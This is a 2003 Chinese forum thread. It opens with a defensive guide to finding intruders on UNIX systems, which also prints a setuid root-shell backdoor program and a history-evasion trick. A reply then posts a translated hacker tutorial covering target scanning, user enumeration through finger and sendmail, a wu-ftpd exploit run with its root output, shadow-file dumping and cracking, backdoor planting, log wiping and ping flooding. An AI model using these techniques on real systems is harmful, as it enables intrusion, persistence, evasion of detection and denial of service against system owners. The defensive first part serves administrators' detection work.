在UNIX系统中找出黑客
一般人们都认为在众多的OS中,UNIX是比较安全的。但我们需知道,没有一种系统能够保证是绝对安全的,任何系统都会有让黑客们有机可乘的地方,UNIX也不例外。为了保护网络的安全,除了实施例行的安全措施外,也要时刻留意你的系统是不是真正安全,黑客是否已经光顾。以下介绍一些如何利用系统中的常用命令查看黑客足迹的方法。
1.用w指令查看系统信息
$w
9:01pm up 10:08, 1 user, load average: 0.08, 0.06, 0.05
User tty login@ idle JCPU PCPU what
notes console 10:54am 9days 28:04 23:29 /usr/dt/bin/dtscreen -mode blank
notes pts/2 10:54am 10:07 /sbin/sh
notes pts/4 10:54am 10:06 /sbin/sh
notes pts/5 10:56am 9:59 /sbin/sh
在w显示信息的最开头是发出w命令的时间、系统启动后的时间、及注册在系统的用户数。最后的三个数表示平均负载,即使用系统资源的程度,使用w命令给系统增加了0.08负载。 其他两个数字分别表示在最后5分钟及十五分钟内系统的平均负载量。
注意:当有人在猜password时,将会大大增加系统的平均负载。
2.进程记帐
Unix 系统可以通过设置选项来让核心在每个进程结束时产生一个记录。这些记录所产生的报告被称为进程记帐。它包括进程使用资源的信息,以及所执行的命令名。如果运行的是调整用户id程序,则还包括用户名等。系统管理员可根据进程记帐的CPU时间让用户交纳上机费,也可用进程记帐来观察某一用户执行了哪些命令。 进程记帐和审计是两码事,审计是监视对安全性敏感的事件。进程记帐并不记下所执行命令的参数,所以无法知道某一命令修改了哪个文件,甚至也不知道此命令的执行是否成功。但系统管理员仍然可以在进程记帐中找出某些线索。
基于System V的系统和基于BSD的系统在进程记帐方面所采纳的方法不同,命令也不一样。
2.1 System V记帐
在System V 中,进程记帐保存在/usr/adm/pactt文件中。root可运行/usr/lib/acct/startup 来启动进程记帐。记帐信息的日常处理可用runacct命令来做,它会压缩pacct文件。每月的处理由shell程序monacct来完成。这两个程序都在/usr/lib/acct目录下。 acctcom 命令可用来搜索pacct中的内容,并产生报告。例如:查找用户"tommy"在10:00 至11:30这段时间内所执行的全部命令。见下表:
$acctcom -u tommy -s 10:00 -e 11:30
START BEF: Sat Oct 10 11:30:00 1998
END AFTER: Sat Oct 10 10:00:00 1998
COMMAND START END REAL CPU MEAN
NAME USER TTYNAME TIME TIME (SECS) (SECS) SIZE(K)
cat tommy pts/3 11:01:13 11:01:13 0.02 0.02 492.00
mail tommy pts/3 11:01:13 11:01:13 0.02 0.02 876.00
clear tommy pts/3 11:01:14 11:01:14 0.03 0.01 744.00
ls tommy pts/3 11:01:16 11:01:16 0.03 0.03 776.00
date tommy pts/3 11:01:23 11:01:23 0.01 0.01 664.00
acctcom命令用来告诉系统管理员某一用户干了些什么,而不是正在干什么,而且它只列出了命令名,没有参数。所以,从中发现一些线索,如可找出使用大量cpu时间的进程(典型的是猜口令进程)。
可用shell程序runacct来产生几个报告。这些报告存放在/usr/adm/acct/sum目录下, 其文件名格式为rprtMMDD。报告的第一部分包含"变更"信息,如进程记帐启动及关闭的时间(关闭记帐可能是由于某人想隐藏某些活动),以及系统时间的改变。第二部分是每个用户注册到系统的时间以及有关每个端口的报告,还包括了每个端口上"接通"和"断开" 的次数。"接通"表示一次成功的注册,"断开"表示退出系统或注册失败。大量的"断开"可能意味着有人在试验"注册名,口令"序列组试图侵入系统中。 报告的最后一部分是有关用户最后一次注册的信息,这个最后注册报告是随着用户的不断注册、退出而时刻更新的。报告中还包括用户名及最后的注册时间,越早退出系统的帐号排在越前。这个报告对于发现那些死帐号非常有用,管理员可能会在这里发现一些奇怪的事情如有人注册到系统管理的帐号中(如bin或sys)。
2.2 BSD系统的记帐
BSD系统的进程记帐用/usr/etc/accton程序启动。默认的记帐文件为/usr/adm/acct 只要启动了进程记帐,该文件会增长得很快。BSD有两条命令来处理记帐信息。第一条是/usr/etc/ac,处理在/usr/adm/wtmp文件中的注册信息,第二条是 /usr/etc/sa,产生已用命令的小结报告,保存在/usr/adm/savacct文件中。
BSD系统中也有与acctcom类似的命令叫做lastcomm。lastcomm命令反向搜索/usr/adm/acct文件,产生出与acctcom命令相似的结果。
BSD记帐系统也和System V一样,有类似的缺陷(从安全性角度讲),即不保留命令的参数。 并且,BSD系统没有最后注册的报告。
现在针对前面的两点防卫措施,从攻的角度来看:
1)对与第一点中用w、who、last、ps等命令,hacker完全可以用程序将自己的记录隐藏 起来,使管理员用以上几个命令都查看不到。当然此时hacker已经把root的权限得到手。
2)就算最笨的hacker,当他无法隐藏自己时,他也会把整个记录文件删除掉,免得管理员查到用什么帐号从哪里登录进来,运行了些什么指令。但显而易见,虽然管理员此时 (没安装第三方的审记软件时)不能知道谁人在哪里发起攻击,但也无疑地告诉管理员 "你的系统已经给攻破了"。
3.历史文件:
ksh、csh、sh、bash、zsh都可保存历史文件。其文件如下:
sh: .sh_history (sh 也即Bourne shell)
csh: .history
ksh: .sh_history
bash: .bash_history
zsh: .history
在运行sh和ksh的用户的相应.profile中,加入HISTORY=100,可指定.sh_history 文件保存该用户最近运行的100条记录。
对于csh,则在.cshrc文件中加入, set history=100,则可。
用户可以运行history指令来查看历史文件中的内容。对于Ksh、sh 也可运行 tail -f .sh_history 来查看,其顺序是从最近的运行的指令开始。
而C shell 是在退出才能更新文件,所以不能用tail来观察C shell执行了那些命令。
这些历史文件比进程记帐更为有用,因为命令的参数也被保留下来,所以可通过执行命令的上下文联系察觉到用户干了些什么。
BTW: .profile用于Bourne和Korn shell; .login和.cshrc用于C shell。
4.找出属主为root且带s位的程序:
以root身份执行以下的指令, 找出此类文件,看看是否有可疑的程序存在。
#find / -perm -4000 -exec /bin/ls -lab {} ";" 当hacker进入系统后,大部份是利用buffer overflow取得root shell。
例如:solaris 中带s位的fdformat,ufsdump,ping等,AIX中xlock;SGI中的xlock,digital中的dop等等,都给hacker找出了其漏洞。
当hacker利用这些big bugs取的root shell后,若其想以后还想入侵此系统的话,当然是留下root shell的程序,此时hakcer也不关心原来的bugs是否给fix掉,他不再需要利用bug了,只须运行自己留下的root shell即给。以下给出得到root shell的简单程序:
#cat getrootshell.c
void main(void)
{
setuid(0,0);
execl("/bin/sh", "sh",0);
}
编译后得到bin文件。
#cc -o getrootshell getrootshell.c
#chmod 4777 getrootshell
#chown rootther getrootshell
#ls -al getrootshell
-rwsrwxrwx 1 root other 5 Oct 12 06:14 getrootshell
(注意全过程是在取的rootshell后,才可这样做)
这样hacker就在该系统中留下了后门,下次入来后就不需利用还没fix的 fdformat,xlock,dop等bug 的程序了,直接运行getrootshell程序,就可跳成root了,想干啥就干啥了。因此,管理员要查清此类型的文件。
现在从攻的角度来看上面两点防卫措施:
1)对于history文件,当hacker进入系统后可以改变shell类型,来使保存他后来所有指令的history文件失效。因此,当hacker用crack到的帐号进入系统后,第一条所敲的指令是改变shell类型的指令. example in digital unix下:
c:>telnet XXX.XXX.XXX.XXX
Digital UNIX (center) (ttyp5)
login: tommy
Password:
Last login: Sun Oct 11 22:43:51 from HPVC.com
Digital UNIX V4.0A (Rev. 464); Sat Feb 7 19:54:12 GMT+0800 1998
The installation software has successfully installed your system.
There are logfiles that contain a record of your installation.
These are:
/var/adm/smlogs/install.cdf - configuration description file
/var/adm/smlogs/install.log - general log file
/var/adm/smlogs/install.FS.log - file system creation logs
/var/adm/smlogs/setld.log - log for the setld( utility
/var/adm/smlogs/fverify.log - verification log file
center>chsh
Old shell: /bin/sh
New shell: ksh
其他系统不在此一一列举。
2)对于类似getrootshell的bin文件,hacker也不会真的那么愚蠢到起这个名字,且他们 会将此类型的程序藏在不易察觉的目录下,如果不是老练的管理员是不会发现的。(注:一般来说,hacker不会把getrootshell文件删除的,因为他也不能肯定下次进入系统时那些bugs是否还可以利用,使其变root)
5.找出隐藏文件
上节提到当hacker在取得root权限后,在系统中留下些后门文件。最常用的方法就是放在/bin、/usr/bin、/usr/sbin等命令目录下,但也有其他的方法隐藏起来。如:
$pwd
/export/home/tommy
$ls -al
total 48
drwxr-xr-x 11 tommy other 1024 Oct 13 11:20 .
drwxr-xr-x 10 root other 512 Sep 18 11:11 ..
drwxr-xr-x 2 tommy other 512 Oct 13 11:18 ..
drwxr-xr-x 2 tommy other 512 Oct 13 11:18 ...
-rw-r--r-- 1 tommy other 255 Oct 10 23:37 .profile
-rw------- 1 tommy other 272 Oct 11 00:19 .sh_history
-rw-r--r-- 1 tommy other 1429 Oct 8 17:35 33acounts
drwx------ 6 tommy other 512 Sep 24 18:24 IBM
-rwx------ 1 tommy other 455 Sep 24 16:08 catcher.c
drwxr-xr-x 2 tommy other 512 Oct 13 11:17 crack
drwxr-xr-x 2 tommy other 512 Oct 12 10:15 exploit
drwxr-xr-x 2 tommy other 512 Oct 13 11:20 host
drwx------ 2 tommy other 512 Sep 24 15:38 klaxon
-rwx------ 1 tommy other 124 Sep 18 11:07 local.cshrc
-rwx------ 1 tommy other 575 Sep 18 11:07 local.login
-rwx------ 1 tommy other 560 Sep 18 11:07 local.profile
-rwx------ 1 tommy other 4275 Sep 21 20:40 scanproxy.c
drwx------ 2 tommy other 1024 Oct 7 14:22 sniff
drwxr-xr-x 2 tommy other 512 Oct 12 09:55 source
相信大家也会留意到有个三个点"..."的目录了,这是最简单的建立隐藏目录的方法,管理员只要留神一下就会找到它,并且可以直接 敲 cd ... 指令就可进入此目录。
但是否也注意到有两个 ".."的目录, 一点"." 是代表当前目录,二个点".."是代表父目录,但为什么有两个父目录呢? 有问题!其实是hacker利用了特殊字符建立的目录,只要用带参数b的ls 指令就可看清楚了。
$ls -lab
drwxr-xr-x 11 tommy other 1024 Oct 13 11:32 .
drwxr-xr-x 10 root other 512 Sep 18 11:11 ..
drwxr-xr-x 2 tommy other 512 Oct 13 11:18 ..\007
drwxr-xr-x 2 tommy other 512 Oct 13 11:18 ...
-rw-r--r-- 1 tommy other 255 Oct 10 23:37 .profile
-rw------- 1 tommy other 272 Oct 11 00:19 .sh_history
-rw-r--r-- 1 tommy other 1429 Oct 8 17:35 33acounts
drwx------ 6 tommy other 512 Sep 24 18:24 IBM
-rwx------ 1 tommy other 455 Sep 24 16:08 catcher.c
-rw-r--r-- 1 tommy other 149788 Oct 13 11:32 core
drwxr-xr-x 2 tommy other 512 Oct 13 11:17 crack
drwxr-xr-x 2 tommy other 512 Oct 12 10:15 exploit
drwxr-xr-x 2 tommy other 512 Oct 13 11:20 h\007ost
drwx------ 2 tommy other 512 Sep 24 15:38 klaxon
-rwx------ 1 tommy other 124 Sep 18 11:07 local.cshrc
-rwx------ 1 tommy other 575 Sep 18 11:07 local.login
-rwx------ 1 tommy other 560 Sep 18 11:07 local.profile
-rwx------ 1 tommy other 4275 Sep 21 20:40 scanproxy.c
drwx------ 2 tommy other 1024 Oct 7 14:22 sniff
drwxr-xr-x 2 tommy other 512 Oct 12 09:55 source
原来两点".."后还跟了个ascii字符,对应为ctrl+g ,hacker是用了mkdir ..^G 的指令来建立的,同时我们也注意到有一个看似是叫做host目录,其实也是用mkdir h^Gost指令来建立的隐藏目录;hacker也可利用以上的方法(还有空格键)组合出隐藏的目录,对于这些情况,管理员应查清楚该目录下的文件内容(有时未必是hacker所干,只是用户想隐藏自己的私人文件而已),再做行动。如发现其目录下有攻击性程序,可以用问号"?"代替"\007"等不可见字符,来删除该目录,如
$rm -r ..? (删除掉 ..\007 目录)
$rm -r h?ost (删除掉 h\007ost目录)
就可删除 "..^G"等隐藏的目录了。
对于带有空格键的目录或文件,删除它时,用引号引起来防止shell把它滤掉.
$ls -al
total 6
drwxr-xr-x 3 tommy other 512 Oct 13 13:13 .
drwxr-xr-x 10 tommy other 1024 Oct 13 13:11 ..
drwxr-xr-x 2 tommy other 512 Oct 13 13:11 h ost
$rm -r h" "ost
6.关闭不必要的服务
79端口所运行的服务是fingerd,它是为网络用户提供服务的。一个远程用户可通过finger 来知道某一主机中是否存在某一个用户。此命令根据/etc/passwd文件中相应帐号的注释字段来产生一个报告。这些信息可能被hacker利用来猜口令。
本身开通fingerd服务没错,错在用户采用了非常脆弱的password,使得有经验hacker不运行猜口令的程序也可猜中password,所以对于ISP来说没必要开着79端口,应将其关闭。
#vi /etc/inetd.conf
在finger前加"#"号,将其注释掉
#finger stream tcp nowait nobody /usr/sbin/in.fingerd in.fingerd
再找出inetd的进程号,kill掉此id,再重启inetd进程。
#ps -ef|grep inetd
root 120 1 0 Oct 12 ? 0:00 /usr/sbin/inetd -s
root 4806 4764 0 17:31:24 pts/5 0:00 grep inetd
#kill -HUP 120
lqy009 回复于:2003-04-04 12:24:51 |
受益非浅!回去找找看! |
ctw888 回复于:2003-04-04 14:45:16 |
马上沉底了。一些人可能还没看呢。 |
ww2318 回复于:2003-04-04 15:04:18 |
好东东! |
老周 回复于:2003-04-04 17:05:32 |
是好东西,不过攻击性的程序是怎样的呢?
能否举个例子让我们见识一下,否则也不好分辨啊~ |
ctw888 回复于:2003-04-04 17:23:56 |
这是防的, 不是攻的。
hahaha |
ctw888 回复于:2003-04-05 09:19:43 |
提一下。 |
hnpygqs 回复于:2003-04-05 09:29:11 |
hao |
wocclyl 回复于:2003-04-05 12:15:28 |
这是我找好久的东东,谢谢 |
ahui_g 回复于:2003-04-05 19:39:41 |
不错. |
answer 回复于:2003-04-06 01:02:53 |
加精华! |
凝嫣 回复于:2003-04-06 12:38:02 |
UP |
hongliny 回复于:2003-04-06 12:42:48 |
妙! |
弱智 回复于:2003-04-06 13:10:19 |
谢谢了哈,
收下。 |
lsw 回复于:2003-04-06 18:57:27 |
不错 |
psjboy 回复于:2003-04-07 15:52:18 |
ctw888 回复于:2003-04-07 20:26:00 |
提一下 |
funyong 回复于:2003-04-08 08:42:45 |
good |
quicksand 回复于:2003-04-08 10:16:38 |
[quote:9ee341a777="ctw888"]这是防的, 不是攻的。
hahaha[/quote:9ee341a777] 能不能来个攻防结合的文章看一看 |
ctw888 回复于:2003-04-08 11:27:45 |
Unix黑客初学者指导
首先说一下写这篇文章的目的,近来越来越多的人问我诸如“我如何能够黑了hotmail”或者aol等等一些其它的愚蠢的问题。这篇文章将确实的向你解释关于“hack”的一些知识。如果你是个初学者,你应当从头到尾通读这篇文章,或者如果你已经进阶了,那就别再往下看了,你应该全都了解的。我或许将往这篇文章中添加一些内容或者让他变得更易于理解。我写这篇文章的最根本的原因是,让别人不再来问我或者其他人如何去做*愚蠢*的事,是的,问如何去黑(how to hack)是*愚蠢*的,它让你看起来愚蠢并且学不到任何东西,当然除非你完全不能自学的话。 起初当我想弄乱别人的电脑时,我只是一个中学的小孩子。我问别人有关病毒和木马的事,并且使用它们,那时我是一个lamer(瘸子,不完整的)。我在学校里问别人并且最终发现一个对hacking感兴趣的人。他向我展示一些技巧,我付给他钱。(snowblue:现在有SQL,无用等一些高手义务的帮助你们,而你们却不好好的珍惜)他使用UNIX很多年了,他叫我去找一个shell。我不知道那是什么意思。他说那是对UNIX系统的访问权限。我仍然有点迷惑,最终我得到了一个shell。我读所有我能够找到的,把所有的时间都花在计算机上,我开始对社会和现实世界失去兴趣。那时候我每天在计算机上花的时间超过12个小时。我读任何找到的资料,我读的第一篇文章是"mostly harmless hacking"(几乎没有破坏性的入侵),我对它很感兴趣。起初我只会用一些图形模式的工具来做一些像改变关机屏幕的简单的事。做有关hacking的网站,尽管我并不知道hacking究竟是什么。我收集windows下的木马和病毒等一些工具,尽管那并不是hacking,但那时候我喜欢它们。随后我开始用邮件炸弹,flooder,DoS。当我对他们有了了解后,(我意识到那并不是hacking)我回去继续寻找shell。当时我所能找到的免费的shell都是非常简单的。我听说了有关linux的一些事。我问我学校的“黑客朋友”,他说不要用linux,用真正的UNIX。他搬到了PA,从那以后我再也没有他的音讯。我试图找到他并感谢它所教给我的,但没有成功。我得到了一个linux。安装是文本模式的,但它运行很迅速,它比windows要可靠多了,从不死机。但我的56k modem不能工作,我跑到了IRC问有关linux的问题。我发现了我的modem是一种叫winmodem的,win-moden是由软件控制的,他们通常比硬件modem慢,并且不能再linux下工作。(snowblue:现在大多数的modem在linux下都有驱动,你可以自己寻找)我在命令行下模式工作,看自己能够干些什么。最终我花了100美元买了一个linux兼容的modem。我让他工作,这太棒了。从那以后我就使用它,并且仍然可以在那上面学到更多的东西。我的父母说我“对计算机着魔了”,我试图解释我并没有。我从没有对它感到厌烦,我一直能够学到新的东西。那段时间里,我失去了一些朋友,退出了大学足球队。所有的一切仅仅是为了这该死的机器。希望某人可以发现这篇文章很有用。 目录 1. 普通的知识 2. 需要的东西 3. 简单的入侵 4. 如何进入 5. 列举 6. 常见的失误 7. 缓冲溢出 8. 防火墙 9. 进入之后干些什么 10. 如何才能不被抓住 11. 清除纪录 12. 用途 13. 我对破坏者的看法 否认声明: 阅读这篇文章说明你同意隶属于r00t-access的任何人都不对你通过看这篇文章所造成的任何后果负责 1. 读这篇文章的最好方法是一次把它读完,然后再读一遍。好吧,现在让我们开始。我假设你已经有了一些基本的知识,知道telnet是什么,一些基本的tcp/ip的知识等等。如果有一些你并不理解,不要犹豫,加入irc.dal.net上的#r00t-access,那是我常去的地方。 需要的东西: 2. 我列出了一些在这篇教程中需要的东西。你可以在anti-secure.com和packetstorm.securify.com找到它们。用引擎找一下就可以了。 1. - superscan (for windows) 2. - nmap (for unix) 3. - full shell access (the very best is if you have linux or bsd or solaris or another unix OS) 4. - compiler on the shell 5. - wingates (you can use them as telnet proxys) 容易的目标: 3. 这里我讲一下如何找到一些容易的目标 1. 到altavista.com用日语或其他语言搜索“游戏”,理由是这些站点的安全性较低 2. 扫描一个有很多服务的cable或者dsl子网,你可以用nmap,端口的状态应当是open而不是close或者filtered,nmap的扫描报告会告诉你的。我将不会告诉你如何使用namp,原因是man page已经有作够的信息了。 3. 确保nmap已经被安装了。使用下面我给出的命令 (注意:$是一个普通的用户,而#则是超级用户。作为例子,我用了24.112.*.*,吧它替换成你想要扫瞄的ip) $ nmap -p 21,23 24.112.*.* 进入: 4. 为了能够进入,你应当收集尽可能多的有关目标主机的信息。由于这是你的第一次入侵,所以确保它有一个笨笨的管理员。然后你可以使用exploit。我将在后面详细解释 列举: 5. Ok 我们找到了目标。现在让我们得到更多的信息。首先来telnet它的79端口。如果它是打开的,你就可以得到以登陆用户的信息。仅仅是telnet然后按下回车。 让我们假定端口是打开的并且允许我们查看在线用户。看下面的例子: $ telnet target.domain 79 Trying IPaddress... Connected to target.domain. Escape character is '^]'. Login Name Tty Idle Login Time Office Office Phone gt grahm crackhead /1 Sep 1 12:01 ok 如果你得到了一个login,把它记下来,然后找更多的login。或许你需要暴力穷句。你可以在www.packetstorm.securify.com 找到一个windows下的穷具工具。使用大量的单词来穷举那个账号。如果你得到的消息是"no one is logged on" 或许你需要一个windows下的haktek。同样,你可以在www.packetstorm.securify.com 找到它。Haketk能够让你监视finger进程并且纪录登陆的人。这是很有用的。另一种方法,你可以用sendmail。如果他们有很多的用户,你可以尝试telnet并且找几个有效的用户名,还可以找几个程序通过暴力法来完成。看下面,我给出了通过sendmail来得到有效的用户名的例子— $ telnet target.domain 25 Trying IPaddress... Connected to target.domain. Escape character is '^]'. 220 target.domain ESMTP Sendmail 8.9.3/8.9.3; Fri, 1 Sep 2000 12:11:00 -0400 expn wally 250 Wally Kolcun vrfy wally 250 Wally Kolcun expn Billy 550 BIlly... User Unknown 就像你所看到的,我telnet到他们的smtp,敲入expn,然后系统告诉我这是不是一个有效的用户,最后我给出了一个用户不存在的例子,当我敲入expn Billy,系统告诉我用户不存在,然后我知道这不是一个合法的用户。这同样可以帮助你得到他们的email,然后你就可以尝试一下社会工程学。 另一个搜集用户名的方法可以是利用usenet, altavista,你可以搜索一下新闻组,或许可以得到一些有用的信息。 另一些可以利用的进程是 systat netstat等等。 telnet还可以帮助你判断出对方的操作系统,当你想exploit时这是非常重要的。当telnet时,有些会给出系统信息,如下所示: Trying IPaddress... Connected to target.domain. Escape character is '^]'. Red Hat Linux release 6.1 (Cartman) Kernal 2.2.12-20 on an i586 login: 你可以看到,系统是redhat 6.1 有些时候你可以使用社会工程学,拿Kevin Mitnick举个例子。它使用社会工程学进入了Novell,一个很大的系统。它所作的只是像一个在那里工作的人那样和别人交谈。他知道当时那里的某人正在度假,但是他知道某人的名字。他打电话到了Novell的办公室找那个人,然后秘书告诉他那个人正在度假,然后他说它需要和那个人联系,于是它便从秘书那里得到了那个人的信息。 常见的失误: 6. 人们会时不时的犯一些错误。这可以帮助你进入。某些人并不是很好的管理员。一个十分普遍的失误是权限设置上的错误。有些系统对所有人都开放了write权限。这是一个很大的问题。让我们举个例子。某人把cron.daily的write权限开放给所有人。你就可以上传一个后门程序并通过cron进程来执行,从而得到系统的访问权。 现在让我来告诉你最可怕的事。假如某个用户在系统上使用IRC,并且如果它把dcc文件传送设置为自动接收,接受目录为他的主目录。你就可以传给他一个.bash_profile,文件写的好的话,可以让他做一些事。例如添加一个用户,或者把密码邮寄给某人。很显然这是进入系统的最简单的方法。 缓冲溢出/exploiting: 7. 我不打算对缓冲溢出讲得太深,我只想借是那是什么然后进入下一节。 缓冲溢出—在进程上有一个叫缓冲限制的东西。缓冲限制限制了进入的字节数。某些情况下,你可以通过特殊的代码让缓冲区溢出来得到一个root用户或者普通用户。有一个例子是wu-ftpd 2.6.0 (1)的缓冲溢出。下面我将告诉你: $ gcc wuftpd-god.c -o wuftpd-god $ ./wuftpd-god -h Usage: ./wuftpd-god -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x] [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir] target : host with any wuftpd user : anonymous user dir : if not anonymous user, you need to have writable directory magic_str : magic string (see exploit description) -g : enables magic string digging -x : enables test mode pass_addr : pointer to setproctitle argument ret_addr : this is pointer to shellcode systypes: 0 - RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm 1 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm 2 - SuSe 6.3 with wuftpd 2.6.0(1) from rpm 3 - SuSe 6.4 with wuftpd 2.6.0(1) from rpm 4 - RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test) 5 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports * 6 - FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages 7 - FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports 8 - FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages $ ./wuftpd-god -s0 -t target.domain Target: target.domain (ftp/): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152 loggin into system.. [32mUSER ftp [0m331 Guest login ok, send your complete e-mail address as password. [32mPASS [0m230-Next time please use your e-mail address as your password 230- for example: joe@cc456375-b.abdn1.md.home.com 230 Guest login ok, access restrictions apply. STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04] STEP 3 : Checking if we can reach our return address by format string Linux melmac 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp) # 如果你想要root的话,exploit是一种方法。查出系统的操作系统,然后到hack.co.za 或者packetstorm 查找那个系统的exploit,你应当得到一些perl scripts/c scripts/shell scripts。执行它们,你就会成为root 当然,如果系统打了exploit的补丁,你或许想知道root的口令是什么。可以敲下面的命令: (如果没有经过shadow,口令被存放于/etc/passwd) # cat /etc/shadow > /root/passwd root:34jk3h4jh3.,;8363:0:0:root:/root:/bin/bash bin:1:1:bin:/bin: daemon:2:2:daemon:/sbin: adm:3:4:adm:/var/adm: lp:4:7:lp:/var/spool/lpd: sync:5:0:sync:/sbin:/bin/sync shutdown:6:0:shutdown:/sbin:/sbin/shutdown halt:7:0:halt:/sbin:/sbin/halt mail:8:12:mail:/var/spool/mail: news:9:13:news:/var/spool/news: uucp:10:14:uucp:/var/spool/uucp: operator:11:0perator:/root: games:12:100:games:/usr/games: sympa:89:89:Sympa Mailing list manager:/home/sympa:/bin/bash gopher:13:30:gopher:/usr/lib/gopher-data: ftp:14:50:FTP User:/home/ftp: nobody:99:99:Nobody:/: xfs:100:103:X Font Server:/etc/X11/fs:/bin/false fax:10:14:Fax Master:/home/fax/:/bin/bash postfix:101:233:postfix:/var/spool/postfix: gdm:42:235::/home/gdm:/bin/bash grim:9hu.u8:501:501:grim:/home/grim:/bin/bash banal:102:236:BANAL Administrator:/home/banal:/bin/bash bleeb:36.34/363;86:502:506::/home/bleeb:/bin/bash 上面就是/etc/passwd的内容,但是你需要破解他们,可以用john the ripper,可以在packetstorm或其他地方找到它。我就用它,他很快。(snowbue:支持国产,你可以用小榕的乱刀,在www.netxeyes.com 下载)有时破解一个账号要用几年的时间,所以我并不提倡这种做法。 防火墙: 8. 如果你了解你所作的,防火墙并不能阻止你。我很喜欢用nmap,这个工具非常好。在www.insecure.org 可以找到最新的版本。我喜欢它的OS(操作系统)检测,即使目标只运行了很少的服务,它的检测也很准确。它通过分析目标的tcp指纹并于自身携带的数据库作比较来得到结果。下面给出一个使用nmap来查出防火墙规则的例子。敲入nmap –sA 。浙江检测防火墙的规则。我不想太过深入而是这篇文章变得使人厌烦。如果你像知道更多有关nmap的,只需敲入man nmap就可以了。 进入以后做什么: 9. 进入以后做什么取决于你想如何使用这个系统。如果你想有一个匿名的root shell,那么就设置一个后门。你可以在www.packetstorm.securify.com 找到后门(木马)。我认为你完全有能力自己独立设置一个后门,但是如果你需要帮助的话,加入$r00t-access,或许我可以帮助你。但是我*不会*帮助你进入一个系统,不过我或许可以帮助你加固你自己的系统。 如何才能不被抓住: 10. 最主要的事是。别干*蠢*事。如果你想保住那个shell,不要破坏那个系统,不要删除他们的文件,不过或许你需要修改他们的纪录。这就是我想说的。 清除纪录: 11. 如果你还向待在这儿而不进监狱的话,清除日志是最重要的工作。在login/hostname中清除纪录,linux里是/var/log,还有你目录下的.bash_profile文件。作这事的最简单的方法是到blackcode.com 或packetstorm找一个工具。 用途: 12. 我一向都拥有超过一个root shell。我在那上面运行nmap和saint来隐藏我自己的主机。或许我会在那上面设置一个web proxy/bnc。Saint是一个很好的工具。它可以告诉你系统有些什么漏洞。你可以在远程很容易的使用它。有时当我看不惯某人的时候,我就flood他们,就像这样: # ping -f -c 50 -s 4500 IPaddress ......................................................... ........................................................... .........E...........E...EE........E..................E....... ..............E.......E.EEE...................E.E...... Host unreatchable. 有人认为这是lame的,但是我通过这样来让某人在IRC里闭嘴。 破坏者: 13. 在这篇文章中我没有谈到hacking,实际上我我所涉及的只是cracking,我并不破坏系统,可能永远都不会。并不是我没有这个能力而是因为这是不对的。再加上如果你被抓住了你或许会因为你的破坏而坐几年牢。我不喜欢人们把hacking和cracking混为一谈。 |
peace_chh 回复于:2003-04-08 13:22:53 |
实在是好东西 |
ctw888 回复于:2003-04-08 18:08:57 |
提一提 |
ctw888 回复于:2003-04-09 16:43:10 |
提一提 |
angel518 回复于:2003-04-09 19:45:13 |
今后看! |
延伸阅读
文章来源于领测软件测试网 https://www.ltesting.net/